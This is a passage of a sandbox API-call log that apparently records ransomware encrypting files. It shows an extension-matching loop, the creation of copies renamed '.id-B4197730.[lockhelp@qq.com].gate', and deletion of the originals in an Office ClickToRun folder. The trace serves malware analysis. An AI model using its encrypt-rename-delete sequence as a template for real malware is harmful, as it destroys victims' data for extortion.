returned 1 [0320.946] lstrlenW (lpString=".xls") returned 4 [0320.946] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.946] lstrlenW (lpString=".xlsx") returned 5 [0320.946] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0320.946] lstrlenW (lpString=".ppt") returned 4 [0320.946] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.946] lstrlenW (lpString=".zip") returned 4 [0320.947] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.947] lstrlenW (lpString=".rar") returned 4 [0320.947] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.947] lstrlenW (lpString=".bz2") returned 4 [0320.947] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.947] lstrlenW (lpString=".7z") returned 3 [0320.947] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.947] lstrlenW (lpString=".dbf") returned 4 [0320.947] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.947] lstrlenW (lpString=".1cd") returned 4 [0320.947] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.947] lstrlenW (lpString=".jpg") returned 4 [0320.947] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.947] lstrlenW (lpString=".doc") returned 4 [0320.947] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0320.947] lstrlenW (lpString=".docx") returned 5 [0320.947] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0320.947] lstrlenW (lpString=".pdf") returned 4 [0320.947] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0320.947] lstrlenW (lpString=".xls") returned 4 [0320.947] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0320.947] lstrlenW (lpString=".xlsx") returned 5 [0320.947] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0320.947] lstrlenW (lpString=".ppt") returned 4 [0320.947] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0320.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.947] lstrlenW (lpString=".zip") returned 4 [0320.947] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0320.948] lstrlenW (lpString=".rar") returned 4 [0320.948] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0320.948] lstrlenW (lpString=".bz2") returned 4 [0320.948] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0320.948] lstrlenW (lpString=".7z") returned 3 [0320.948] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0320.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.948] lstrlenW (lpString=".dbf") returned 4 [0320.948] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0320.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.948] lstrlenW (lpString=".1cd") returned 4 [0320.948] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0320.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll") returned 73 [0320.948] lstrlenW (lpString=".jpg") returned 4 [0320.948] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0320.948] lstrcmpiW (lpString1=".hash", lpString2=".gate") returned 1 [0320.948] lstrlenW (lpString="i640.hash") returned 9 [0320.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0320.949] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=102) returned 1 [0320.949] CloseHandle (hObject=0x348) returned 1 [0320.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20 [0320.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0320.949] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.949] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0320.950] GetLastError () returned 0x0 [0320.950] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x66, lpOverlapped=0x0) returned 1 [0320.951] WriteFile (in: hFile=0x368, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x70, lpOverlapped=0x0) returned 1 [0320.951] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.951] WriteFile (in: hFile=0x368, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0xe6, lpOverlapped=0x0) returned 1 [0320.952] SetEndOfFile (hFile=0x368) returned 1 [0320.952] CloseHandle (hObject=0x368) returned 1 [0320.952] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.952] SetEndOfFile (hFile=0x348) returned 1 [0320.953] CloseHandle (hObject=0x348) returned 1 [0320.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0320.953] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1 [0320.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.953] lstrlenW (lpString=".doc") returned 4 [0320.953] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0320.953] lstrlenW (lpString=".docx") returned 5 [0320.953] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0320.953] lstrlenW (lpString=".pdf") returned 4 [0320.953] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0320.953] lstrlenW (lpString=".xls") returned 4 [0320.953] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0320.953] lstrlenW (lpString=".xlsx") returned 5 [0320.953] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0320.953] lstrlenW (lpString=".ppt") returned 4 [0320.953] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0320.953] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.954] lstrlenW (lpString=".zip") returned 4 [0320.954] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0320.954] lstrlenW (lpString=".rar") returned 4 [0320.954] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0320.954] lstrlenW (lpString=".bz2") returned 4 [0320.954] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0320.954] lstrlenW (lpString=".7z") returned 3 [0320.954] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0320.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.954] lstrlenW (lpString=".dbf") returned 4 [0320.954] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0320.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.954] lstrlenW (lpString=".1cd") returned 4 [0320.954] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0320.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.954] lstrlenW (lpString=".jpg") returned 4 [0320.954] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0320.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.954] lstrlenW (lpString=".doc") returned 4 [0320.954] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0320.954] lstrlenW (lpString=".docx") returned 5 [0320.954] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0320.954] lstrlenW (lpString=".pdf") returned 4 [0320.954] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0320.954] lstrlenW (lpString=".xls") returned 4 [0320.954] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0320.954] lstrlenW (lpString=".xlsx") returned 5 [0320.954] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0320.954] lstrlenW (lpString=".ppt") returned 4 [0320.954] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0320.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.954] lstrlenW (lpString=".zip") returned 4 [0320.955] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0320.955] lstrlenW (lpString=".rar") returned 4 [0320.955] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0320.955] lstrlenW (lpString=".bz2") returned 4 [0320.955] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0320.955] lstrlenW (lpString=".7z") returned 3 [0320.955] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0320.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.955] lstrlenW (lpString=".dbf") returned 4 [0320.955] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0320.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.955] lstrlenW (lpString=".1cd") returned 4 [0320.955] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0320.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67 [0320.955] lstrlenW (lpString=".jpg") returned 4 [0320.955] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0320.955] lstrcmpiW (lpString1=".hash", lpString2=".gate") returned 1 [0320.955] lstrlenW (lpString="i641033.hash") returned 12 [0320.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0320.955] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=102) returned 1 [0320.956] CloseHandle (hObject=0x348) returned 1 [0320.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 0x20 [0320.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0320.956] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.956] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0320.956] GetLastError () returned 0x0 [0320.956] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x66, lpOverlapped=0x0) returned 1 [0320.957] WriteFile (in: hFile=0x368, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0x70, lpOverlapped=0x0) returned 1 [0320.958] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0320.958] WriteFile (in: hFile=0x368, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0320.958] SetEndOfFile (hFile=0x368) returned 1 [0320.958] CloseHandle (hObject=0x368) returned 1 [0320.958] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.958] SetEndOfFile (hFile=0x348) returned 1 [0320.959] CloseHandle (hObject=0x348) returned 1 [0320.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0320.959] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i641033.hash")) returned 1 [0320.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.960] lstrlenW (lpString=".doc") returned 4 [0320.960] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0320.960] lstrlenW (lpString=".docx") returned 5 [0320.960] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0320.960] lstrlenW (lpString=".pdf") returned 4 [0320.960] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0320.960] lstrlenW (lpString=".xls") returned 4 [0320.960] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0320.960] lstrlenW (lpString=".xlsx") returned 5 [0320.960] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0320.960] lstrlenW (lpString=".ppt") returned 4 [0320.960] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0320.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.960] lstrlenW (lpString=".zip") returned 4 [0320.960] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0320.960] lstrlenW (lpString=".rar") returned 4 [0320.960] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0320.960] lstrlenW (lpString=".bz2") returned 4 [0320.960] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0320.960] lstrlenW (lpString=".7z") returned 3 [0320.960] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0320.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.960] lstrlenW (lpString=".dbf") returned 4 [0320.960] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0320.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.960] lstrlenW (lpString=".1cd") returned 4 [0320.960] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0320.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.960] lstrlenW (lpString=".jpg") returned 4 [0320.960] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0320.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.961] lstrlenW (lpString=".doc") returned 4 [0320.961] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1 [0320.961] lstrlenW (lpString=".docx") returned 5 [0320.961] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1 [0320.961] lstrlenW (lpString=".pdf") returned 4 [0320.961] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1 [0320.961] lstrlenW (lpString=".xls") returned 4 [0320.961] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1 [0320.961] lstrlenW (lpString=".xlsx") returned 5 [0320.961] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1 [0320.961] lstrlenW (lpString=".ppt") returned 4 [0320.961] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1 [0320.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.961] lstrlenW (lpString=".zip") returned 4 [0320.961] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1 [0320.961] lstrlenW (lpString=".rar") returned 4 [0320.961] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1 [0320.961] lstrlenW (lpString=".bz2") returned 4 [0320.961] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1 [0320.961] lstrlenW (lpString=".7z") returned 3 [0320.961] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1 [0320.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.961] lstrlenW (lpString=".dbf") returned 4 [0320.961] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1 [0320.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.961] lstrlenW (lpString=".1cd") returned 4 [0320.961] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1 [0320.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i641033.hash") returned 70 [0320.961] lstrlenW (lpString=".jpg") returned 4 [0320.961] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1 [0320.962] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0320.962] lstrlenW (lpString="IntegratedOffice.exe") returned 20 [0320.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0320.962] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1093248) returned 1 [0320.962] CloseHandle (hObject=0x348) returned 1 [0320.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 0x20 [0320.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0320.962] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.962] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0320.962] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0320.963] GetLastError () returned 0x0 [0320.963] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0321.203] WriteFile (in: hFile=0x368, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0321.556] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0xae90, lpOverlapped=0x0) returned 1 [0321.566] WriteFile (in: hFile=0x368, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0xaea0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0xaea0, lpOverlapped=0x0) returned 1 [0321.570] ReadFile (in: hFile=0x348, lpBuffer=0x4066020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0321.570] WriteFile (in: hFile=0x368, lpBuffer=0x4066020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x4066020*, lpNumberOfBytesWritten=0x364fc94*=0xfc, lpOverlapped=0x0) returned 1 [0321.570] SetEndOfFile (hFile=0x368) returned 1 [0321.571] CloseHandle (hObject=0x368) returned 1 [0321.571] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.571] SetEndOfFile (hFile=0x348) returned 1 [0321.572] CloseHandle (hObject=0x348) returned 1 [0321.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0321.573] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe")) returned 1 [0321.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.573] lstrlenW (lpString=".doc") returned 4 [0321.573] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0321.573] lstrlenW (lpString=".docx") returned 5 [0321.573] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0321.573] lstrlenW (lpString=".pdf") returned 4 [0321.573] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0321.573] lstrlenW (lpString=".xls") returned 4 [0321.573] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0321.573] lstrlenW (lpString=".xlsx") returned 5 [0321.573] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0321.573] lstrlenW (lpString=".ppt") returned 4 [0321.573] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0321.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.573] lstrlenW (lpString=".zip") returned 4 [0321.573] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0321.573] lstrlenW (lpString=".rar") returned 4 [0321.573] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0321.573] lstrlenW (lpString=".bz2") returned 4 [0321.574] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0321.574] lstrlenW (lpString=".7z") returned 3 [0321.574] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0321.574] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 78 [0321.574] lstrlenW (lpString=".dbf") returned 4 [0321.574] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned 